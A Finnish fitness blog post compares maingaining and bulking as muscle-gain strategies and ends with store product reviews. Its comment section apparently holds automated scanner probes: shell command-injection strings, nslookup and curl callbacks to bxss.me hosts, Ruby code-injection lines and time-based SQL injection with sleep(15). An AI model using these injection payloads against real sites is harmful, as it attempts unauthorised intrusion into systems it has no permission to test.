Maingaining vs. Bulking: Kumpi on oikea strategia sinulle?

08.01.2025 (luettu 2242 kertaa)
In Harjoittelutekniikat ja -ohjelmat

Maingaining vs. Bulking: Kumpi on oikea strategia sinulle?

Lihasmassan kasvattaminen on monille treenaajille yksi tärkeimmistä tavoitteista, mutta siihen liittyy aina kriittinen kysymys: miten sen pitäisi tapahtua? Kaksi yleistä strategiaa nousee esiin — maingaining ja bulking. Vaikka molemmat voivat viedä sinut kohti lihaksikkaampaa ja vahvempaa versiota itsestäsi, ne eroavat merkittävästi sekä toteutustavan että tulosten suhteen. Sukelletaanpa syvemmälle ja katsotaan, kumpi sopii juuri sinulle!

Mikä on maingaining?

Maingaining on strategia, jossa lihasmassaa kasvatetaan maltillisesti pitäen kehon rasvaprosentti vakiona. Toisin kuin perinteinen bulking, maingaining ei sisällä suurta kaloriylijäämää. Sen sijaan ruokavalio suunnitellaan niin, että se hädin tuskin ylittää energiantarpeesi — puhutaan yleensä 100–300 lisäkalorista päivässä.

Kenelle maingaining sopii?

Niille, jotka haluavat pysyä “lean” ympäri vuoden: Jos haluat välttää rasvan kertymistä, maingaining on sinulle.

Pitkän aikavälin kehitykseen panostaville: Lihaskasvu on hidasta mutta tasaista.

Kokeneille treenaajille: Ne, joilla on jo paljon lihasmassaa, voivat hyötyä tästä strategiasta.

Hyödyt:

Kehosi ulkonäkö pysyy suhteellisen rasvattomana.

Vähennät tarpeen leikata ("cut") rasvaa myöhemmin.

Psykologisesti helppo niille, jotka haluavat näyttää hyvältä ympäri vuoden.

Haasteet:

Vaatii tarkkaa ruokavalion hallintaa.

Lihasmassan kasvu voi olla hitaampaa verrattuna bulkkaukseen.

Entä sitten bulking?

Bulking on lihaskasvun maksimoimiseen suunnattu strategia, jossa syödään merkittävällä kaloriylijäämällä. Tämä tarkoittaa, että nautit 300–1000 lisäkaloria päivässä, mikä mahdollistaa intensiivisen harjoittelun ja nopean painonnousun — niin lihaksen kuin rasvankin muodossa.

Kenelle bulking sopii?

Niille, joille rasvaprosentin nousu ei ole ongelma: Jos olet valmis “puhdistamaan” kehoasi leikkausvaiheessa myöhemmin, bulking on tehokas tapa lisätä lihasta nopeasti.

Kilpailijoille tai voimailijoille: Ne, jotka tarvitsevat maksimaalista voimaa ja kokoa lyhyessä ajassa.

Hyödyt:

Nopeampi lihaskasvu.

Ei tarvetta tarkan kalorinsaannin hallintaan.

Sopii erityisesti talvikauteen, kun kehon ulkonäkö ei ole ensisijainen prioriteetti.

Haasteet:

Kehon rasvaprosentti nousee merkittävästi.

Vaatii myöhemmin "cutting"-vaiheen, jotta saavutetaan toivottu kehonkoostumus.

Voi olla psykologisesti vaikeaa niille, jotka haluavat pysyä hoikkina.

Lisääntynyt rasva kasvattaa terveysriskejä

Miten valita oikea strategia?

Valinta maingainingin ja bulkkauksen välillä riippuu pitkälti tavoitteistasi, aikataulustasi ja mieltymyksistäsi:

Haluatko pysyä rasvattomana? Valitse maingaining.

Onko lihasmassan nopea lisäys tärkeintä? Bulking on tehokkain tapa saavuttaa se.

Kuinka paljon aikaa olet valmis panostamaan? Maingaining vaatii pitkäjänteistä sitoutumista, kun taas bulking on lyhytaikaisempi mutta intensiivisempi strategia.

Psykologinen mukavuus: Kumpi tuntuu itsellesi helpommalta — tasapainoinen ulkonäkö vai nopea kasvu rasvan lisäyksen kustannuksella?

Yhteenveto

Sekä maingaining että bulking ovat tehokkaita tapoja kasvattaa lihasta, mutta ne sopivat eri tavoitteisiin ja elämäntyyleihin. Jos haluat pitkäjänteistä kehitystä ja arvostat rasvattomuutta, maingaining on oikea valinta. Jos taas haet nopeita tuloksia ja olet valmis käymään läpi myöhemmän leikkausvaiheen, bulking tarjoaa tehokkaan ratkaisun.

Muista, että kumpikin strategia vaatii sitoutumista sekä johdonmukaista harjoittelua ja ravitsemusta. Lopulta oikea valinta riippuu siitä, mikä sopii sinun tavoitteisiisi ja elämäntilanteeseesi. Olipa valintasi kumpi tahansa, tärkeintä on nauttia matkasta ja arvostaa saavutuksia matkan varrella!

Kommentit

  203. pHqghUme
    chat_bubble_outline Vastaa

    1

    echo fbvaev$()\ lsuawm\nz^xyu||a #' &echo fbvaev$()\ lsuawm\nz^xyu||a #|" &echo fbvaev$()\ lsuawm\nz^xyu||a #

  207. pHqghUme
    chat_bubble_outline Vastaa

    1

    &echo lkuzhn$()\ xqebcu\nz^xyu||a #' &echo lkuzhn$()\ xqebcu\nz^xyu||a #|" &echo lkuzhn$()\ xqebcu\nz^xyu||a #

  212. pHqghUme
    chat_bubble_outline Vastaa

    1

    1&echo bckqce$()\ yfgdnq\nz^xyu||a #' &echo bckqce$()\ yfgdnq\nz^xyu||a #|" &echo bckqce$()\ yfgdnq\nz^xyu||a #

  217. pHqghUme
    chat_bubble_outline Vastaa

    1

    |echo rivonw$()\ gsigza\nz^xyu||a #' |echo rivonw$()\ gsigza\nz^xyu||a #|" |echo rivonw$()\ gsigza\nz^xyu||a #

  219. pHqghUme
    chat_bubble_outline Vastaa

    1

    1|echo qxwvmh$()\ zhwpth\nz^xyu||a #' |echo qxwvmh$()\ zhwpth\nz^xyu||a #|" |echo qxwvmh$()\ zhwpth\nz^xyu||a #

  231. pHqghUme
    chat_bubble_outline Vastaa

    1

    &nslookup -q=cname hittiuakviyhe441b4.bxss.me&'\"`0&nslookup -q=cname hittiuakviyhe441b4.bxss.me&`'

  235. pHqghUme
    chat_bubble_outline Vastaa

    1

    &(nslookup -q=cname hitxajejoxoly6859e.bxss.me||curl hitxajejoxoly6859e.bxss.me)&'\"`0&(nslookup -q=cname hitxajejoxoly6859e.bxss.me||curl hitxajejoxoly6859e.bxss.me)&`'

  251. pHqghUme
    chat_bubble_outline Vastaa

    1

    ;(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)|(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)&(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)

  320. pHqghUme
    chat_bubble_outline Vastaa

    1

    "+"A".concat(70-3).concat(22*4).concat(103).concat(80).concat(119).concat(89)+(require"socket" Socket.gethostbyname("hitmr"+"idvojvqn769ba.bxss.me.")[3].to_s)+"

  326. pHqghUme
    chat_bubble_outline Vastaa

    1

    '+'A'.concat(70-3).concat(22*4).concat(112).concat(69).concat(99).concat(75)+(require'socket' Socket.gethostbyname('hituu'+'tguacrjwb0fa7.bxss.me.')[3].to_s)+'

  332. pHqghUme
    chat_bubble_outline Vastaa

    1

    'A'.concat(70-3).concat(22*4).concat(100).concat(84).concat(100).concat(90)+(require'socket' Socket.gethostbyname('hitcq'+'lenteodm7bcbd.bxss.me.')[3].to_s)

  378. "+"A".concat(70-3).concat(22*4).concat(119).concat(87).concat(117).concat(81)+(require"socket" Socket.gethostbyname("hitfo"+"qxlfspkr7f580.bxss.me.")[3].to_s)+"
    chat_bubble_outline Vastaa

    1

    1

  384. '+'A'.concat(70-3).concat(22*4).concat(107).concat(88).concat(116).concat(87)+(require'socket' Socket.gethostbyname('hitzg'+'xvmzdmkve1f36.bxss.me.')[3].to_s)+'
    chat_bubble_outline Vastaa

    1

    1

  389. 'A'.concat(70-3).concat(22*4).concat(106).concat(74).concat(106).concat(72)+(require'socket' Socket.gethostbyname('hitll'+'ntmpxtww3fc84.bxss.me.')[3].to_s)
    chat_bubble_outline Vastaa

    1

    1

  393. pHqghUme
    chat_bubble_outline Vastaa

    "+"A".concat(70-3).concat(22*4).concat(121).concat(73).concat(108).concat(78)+(require"socket" Socket.gethostbyname("hityw"+"oqbjbgkl4a6a2.bxss.me.")[3].to_s)+"

    1

  397. pHqghUme
    chat_bubble_outline Vastaa

    '+'A'.concat(70-3).concat(22*4).concat(101).concat(75).concat(98).concat(80)+(require'socket' Socket.gethostbyname('hitux'+'azhmnbqx04d5a.bxss.me.')[3].to_s)+'

    1

  402. pHqghUme
    chat_bubble_outline Vastaa

    'A'.concat(70-3).concat(22*4).concat(107).concat(75).concat(102).concat(70)+(require'socket' Socket.gethostbyname('hitsl'+'oyusmtci050df.bxss.me.')[3].to_s)

    1

  427. echo swqzcs$()\ vqrpqn\nz^xyu||a #' &echo swqzcs$()\ vqrpqn\nz^xyu||a #|" &echo swqzcs$()\ vqrpqn\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  430. &echo wcvgow$()\ pxsllt\nz^xyu||a #' &echo wcvgow$()\ pxsllt\nz^xyu||a #|" &echo wcvgow$()\ pxsllt\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  433. pHqghUme&echo hqbowe$()\ dxnfma\nz^xyu||a #' &echo hqbowe$()\ dxnfma\nz^xyu||a #|" &echo hqbowe$()\ dxnfma\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  436. |echo ndbgee$()\ syqnzc\nz^xyu||a #' |echo ndbgee$()\ syqnzc\nz^xyu||a #|" |echo ndbgee$()\ syqnzc\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  438. pHqghUme|echo fntdde$()\ pdetdp\nz^xyu||a #' |echo fntdde$()\ pdetdp\nz^xyu||a #|" |echo fntdde$()\ pdetdp\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  448. &nslookup -q=cname hitiewozubgkb3b489.bxss.me&'\"`0&nslookup -q=cname hitiewozubgkb3b489.bxss.me&`'
    chat_bubble_outline Vastaa

    1

    1

  451. &(nslookup -q=cname hitutzlkcywis7f8a6.bxss.me||curl hitutzlkcywis7f8a6.bxss.me)&'\"`0&(nslookup -q=cname hitutzlkcywis7f8a6.bxss.me||curl hitutzlkcywis7f8a6.bxss.me)&`'
    chat_bubble_outline Vastaa

    1

    1

  458. ;(nslookup -q=cname hitpvltbxuayt17fe1.bxss.me||curl hitpvltbxuayt17fe1.bxss.me)|(nslookup -q=cname hitpvltbxuayt17fe1.bxss.me||curl hitpvltbxuayt17fe1.bxss.me)&(nslookup -q=cname hitpvltbxuayt17fe1.bxss.me||curl hitpvltbxuayt17fe1.bxss.me)
    chat_bubble_outline Vastaa

    1

    1

  462. pHqghUme
    chat_bubble_outline Vastaa

    echo nrgpqq$()\ zmmssc\nz^xyu||a #' &echo nrgpqq$()\ zmmssc\nz^xyu||a #|" &echo nrgpqq$()\ zmmssc\nz^xyu||a #

    1

  464. pHqghUme
    chat_bubble_outline Vastaa

    &echo cfwqrp$()\ lbrurr\nz^xyu||a #' &echo cfwqrp$()\ lbrurr\nz^xyu||a #|" &echo cfwqrp$()\ lbrurr\nz^xyu||a #

    1

  466. pHqghUme
    chat_bubble_outline Vastaa

    1&echo fwowlh$()\ hbnjqv\nz^xyu||a #' &echo fwowlh$()\ hbnjqv\nz^xyu||a #|" &echo fwowlh$()\ hbnjqv\nz^xyu||a #

    1

  468. pHqghUme
    chat_bubble_outline Vastaa

    |echo eguyry$()\ fkgqnq\nz^xyu||a #' |echo eguyry$()\ fkgqnq\nz^xyu||a #|" |echo eguyry$()\ fkgqnq\nz^xyu||a #

    1

  469. pHqghUme
    chat_bubble_outline Vastaa

    1|echo atfogd$()\ adifqs\nz^xyu||a #' |echo atfogd$()\ adifqs\nz^xyu||a #|" |echo atfogd$()\ adifqs\nz^xyu||a #

    1

  480. pHqghUme
    chat_bubble_outline Vastaa

    &nslookup -q=cname hitbyjlogpimd7b04b.bxss.me&'\"`0&nslookup -q=cname hitbyjlogpimd7b04b.bxss.me&`'

    1

  483. pHqghUme
    chat_bubble_outline Vastaa

    &(nslookup -q=cname hitazkiuwogwmf61d3.bxss.me||curl hitazkiuwogwmf61d3.bxss.me)&'\"`0&(nslookup -q=cname hitazkiuwogwmf61d3.bxss.me||curl hitazkiuwogwmf61d3.bxss.me)&`'

    1

  491. pHqghUme
    chat_bubble_outline Vastaa

    ;(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)|(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)&(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)

    1

  732. pHqghUme
    chat_bubble_outline Vastaa

    1

    echo flbxtt$()\ fopwqr\nz^xyu||a #' &echo flbxtt$()\ fopwqr\nz^xyu||a #|" &echo flbxtt$()\ fopwqr\nz^xyu||a #

  737. pHqghUme
    chat_bubble_outline Vastaa

    1

    &echo jyqmow$()\ jwgueh\nz^xyu||a #' &echo jyqmow$()\ jwgueh\nz^xyu||a #|" &echo jyqmow$()\ jwgueh\nz^xyu||a #

  742. pHqghUme
    chat_bubble_outline Vastaa

    1

    1&echo ryxtig$()\ bukfey\nz^xyu||a #' &echo ryxtig$()\ bukfey\nz^xyu||a #|" &echo ryxtig$()\ bukfey\nz^xyu||a #

  746. pHqghUme
    chat_bubble_outline Vastaa

    1

    |echo xakjvy$()\ wxpovd\nz^xyu||a #' |echo xakjvy$()\ wxpovd\nz^xyu||a #|" |echo xakjvy$()\ wxpovd\nz^xyu||a #

  749. pHqghUme
    chat_bubble_outline Vastaa

    1

    1|echo rkjnap$()\ yuymvc\nz^xyu||a #' |echo rkjnap$()\ yuymvc\nz^xyu||a #|" |echo rkjnap$()\ yuymvc\nz^xyu||a #

  762. pHqghUme
    chat_bubble_outline Vastaa

    1

    &nslookup -q=cname hitpypccapxpe18938.bxss.me&'\"`0&nslookup -q=cname hitpypccapxpe18938.bxss.me&`'

  764. pHqghUme
    chat_bubble_outline Vastaa

    1

    &(nslookup -q=cname hitldtuqhsmgqa293c.bxss.me||curl hitldtuqhsmgqa293c.bxss.me)&'\"`0&(nslookup -q=cname hitldtuqhsmgqa293c.bxss.me||curl hitldtuqhsmgqa293c.bxss.me)&`'

  771. pHqghUme
    chat_bubble_outline Vastaa

    1

    ;(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)|(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)&(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)

  843. echo kndrpq$()\ exvbaq\nz^xyu||a #' &echo kndrpq$()\ exvbaq\nz^xyu||a #|" &echo kndrpq$()\ exvbaq\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  847. &echo mvvgzw$()\ ylhjcj\nz^xyu||a #' &echo mvvgzw$()\ ylhjcj\nz^xyu||a #|" &echo mvvgzw$()\ ylhjcj\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  849. pHqghUme&echo laxthh$()\ krcqqx\nz^xyu||a #' &echo laxthh$()\ krcqqx\nz^xyu||a #|" &echo laxthh$()\ krcqqx\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  851. |echo gaxtbo$()\ ylcjqj\nz^xyu||a #' |echo gaxtbo$()\ ylcjqj\nz^xyu||a #|" |echo gaxtbo$()\ ylcjqj\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  854. pHqghUme|echo xvixho$()\ rjnzgd\nz^xyu||a #' |echo xvixho$()\ rjnzgd\nz^xyu||a #|" |echo xvixho$()\ rjnzgd\nz^xyu||a #
    chat_bubble_outline Vastaa

    1

    1

  864. &nslookup -q=cname hitnxuanryvaq429b5.bxss.me&'\"`0&nslookup -q=cname hitnxuanryvaq429b5.bxss.me&`'
    chat_bubble_outline Vastaa

    1

    1

  866. &(nslookup -q=cname hitistgnncisv3ffb1.bxss.me||curl hitistgnncisv3ffb1.bxss.me)&'\"`0&(nslookup -q=cname hitistgnncisv3ffb1.bxss.me||curl hitistgnncisv3ffb1.bxss.me)&`'
    chat_bubble_outline Vastaa

    1

    1

  879. ;(nslookup -q=cname hitrqnlcyqnqie48d4.bxss.me||curl hitrqnlcyqnqie48d4.bxss.me)|(nslookup -q=cname hitrqnlcyqnqie48d4.bxss.me||curl hitrqnlcyqnqie48d4.bxss.me)&(nslookup -q=cname hitrqnlcyqnqie48d4.bxss.me||curl hitrqnlcyqnqie48d4.bxss.me)
    chat_bubble_outline Vastaa

    1

    1

  887. pHqghUme
    chat_bubble_outline Vastaa

    echo quhxdo$()\ bppbez\nz^xyu||a #' &echo quhxdo$()\ bppbez\nz^xyu||a #|" &echo quhxdo$()\ bppbez\nz^xyu||a #

    1

  889. pHqghUme
    chat_bubble_outline Vastaa

    &echo ttgyek$()\ oqotdc\nz^xyu||a #' &echo ttgyek$()\ oqotdc\nz^xyu||a #|" &echo ttgyek$()\ oqotdc\nz^xyu||a #

    1

  893. pHqghUme
    chat_bubble_outline Vastaa

    1&echo gfhoxj$()\ yeasnb\nz^xyu||a #' &echo gfhoxj$()\ yeasnb\nz^xyu||a #|" &echo gfhoxj$()\ yeasnb\nz^xyu||a #

    1

  894. pHqghUme
    chat_bubble_outline Vastaa

    |echo wlzerv$()\ yxdyvj\nz^xyu||a #' |echo wlzerv$()\ yxdyvj\nz^xyu||a #|" |echo wlzerv$()\ yxdyvj\nz^xyu||a #

    1

  895. pHqghUme
    chat_bubble_outline Vastaa

    1|echo uposqz$()\ lrperu\nz^xyu||a #' |echo uposqz$()\ lrperu\nz^xyu||a #|" |echo uposqz$()\ lrperu\nz^xyu||a #

    1

  909. pHqghUme
    chat_bubble_outline Vastaa

    &nslookup -q=cname hitqobgetkjzd78c9d.bxss.me&'\"`0&nslookup -q=cname hitqobgetkjzd78c9d.bxss.me&`'

    1

  913. pHqghUme
    chat_bubble_outline Vastaa

    &(nslookup -q=cname hitkzvxbakzdf29a23.bxss.me||curl hitkzvxbakzdf29a23.bxss.me)&'\"`0&(nslookup -q=cname hitkzvxbakzdf29a23.bxss.me||curl hitkzvxbakzdf29a23.bxss.me)&`'

    1

  915. pHqghUme
    chat_bubble_outline Vastaa

    1

    "+"A".concat(70-3).concat(22*4).concat(113).concat(83).concat(115).concat(77)+(require"socket" Socket.gethostbyname("hitea"+"jacssrvh2ffaf.bxss.me.")[3].to_s)+"

  919. pHqghUme
    chat_bubble_outline Vastaa

    1

    '+'A'.concat(70-3).concat(22*4).concat(105).concat(87).concat(97).concat(79)+(require'socket' Socket.gethostbyname('hitrn'+'gzlqlllub829b.bxss.me.')[3].to_s)+'

  922. pHqghUme
    chat_bubble_outline Vastaa

    1

    'A'.concat(70-3).concat(22*4).concat(109).concat(88).concat(109).concat(79)+(require'socket' Socket.gethostbyname('hitgu'+'jgaktukm6bd79.bxss.me.')[3].to_s)

  924. pHqghUme
    chat_bubble_outline Vastaa

    ;(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)|(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)&(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)

    1

  949. "+"A".concat(70-3).concat(22*4).concat(97).concat(71).concat(101).concat(70)+(require"socket" Socket.gethostbyname("hitrc"+"qffulnuw9b764.bxss.me.")[3].to_s)+"
    chat_bubble_outline Vastaa

    1

    1

  952. '+'A'.concat(70-3).concat(22*4).concat(117).concat(77).concat(103).concat(65)+(require'socket' Socket.gethostbyname('hitxm'+'tciwxjmt0b964.bxss.me.')[3].to_s)+'
    chat_bubble_outline Vastaa

    1

    1

  957. 'A'.concat(70-3).concat(22*4).concat(101).concat(70).concat(117).concat(68)+(require'socket' Socket.gethostbyname('hitpa'+'qwtqccwafc79a.bxss.me.')[3].to_s)
    chat_bubble_outline Vastaa

    1

    1

  960. pHqghUme
    chat_bubble_outline Vastaa

    "+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(109).concat(68)+(require"socket" Socket.gethostbyname("hitup"+"mcdhnvnx8ea98.bxss.me.")[3].to_s)+"

    1

  963. pHqghUme
    chat_bubble_outline Vastaa

    '+'A'.concat(70-3).concat(22*4).concat(106).concat(89).concat(111).concat(75)+(require'socket' Socket.gethostbyname('hitrn'+'hcginkbp3aee1.bxss.me.')[3].to_s)+'

    1

  967. pHqghUme
    chat_bubble_outline Vastaa

    'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(99).concat(83)+(require'socket' Socket.gethostbyname('hitkb'+'zdswxhaz87b79.bxss.me.')[3].to_s)

    1

  1262. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    chat_bubble_outline Vastaa

    1

    1

  1277. pHqghUme
    chat_bubble_outline Vastaa

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    1

Kommentoi tekstiä:

Arvostelut

Gorilla Sports
4.26 / 5

Jackronin

Nopea toimitus, helppo kasata, tukeva rakenne. Käytössä lähes joka päivä.

Sami

Tutkin kauan minkä smith laitteen ostan ja päädyin tähän onneksi. Tuote on jämäkkä ja toimii todella hyvin, kuin salilaitteet. Kiitos

Matti

Hyvän oloinen. Olisi voinut olla paremmin ilmoitettu että reunapalat myydään erikseen.

Sanna

Materiaali tuntuu hyvälle käytössä ja värit ovat kivat, vaikka ovatkin vähän tummemmat kuin kuvassa. Säilytyssalkku on mielestäni todella hyvä, joten suosittelen tätä settiä jos haluaa säilyttää pieniä painoja siististi ja kätevästi.

Korkki

Muuten tukeva ja jämäkkä mutta 20cm piti leventää

Anynous

Hyvät tukevat nojapuut! Todella tyytyväinen ostokseeni!

Vanha voimalija

Hyvä ja oikean tuotteen oloinen alumiiniseoskahvoilla. Ei voi verrata kauppojen säädettäviin muovirieskoihin.

Kari

Hyvä peruspenkki pieneen tilaan aloittelevalle harrastajalle. Itsellä helpottaa treenausta muiden kiireiden ohella.

Lahjaksi ostettu

Tuote on hyvä siinä ei ole valittamista. Toimitus oli hidasta, ensimmäistä tilausta odotin 1 kk ja selvisi että se oli hukkunut. Toinen tilaus tuli nopeasti. Siitä tuli tähden alennus.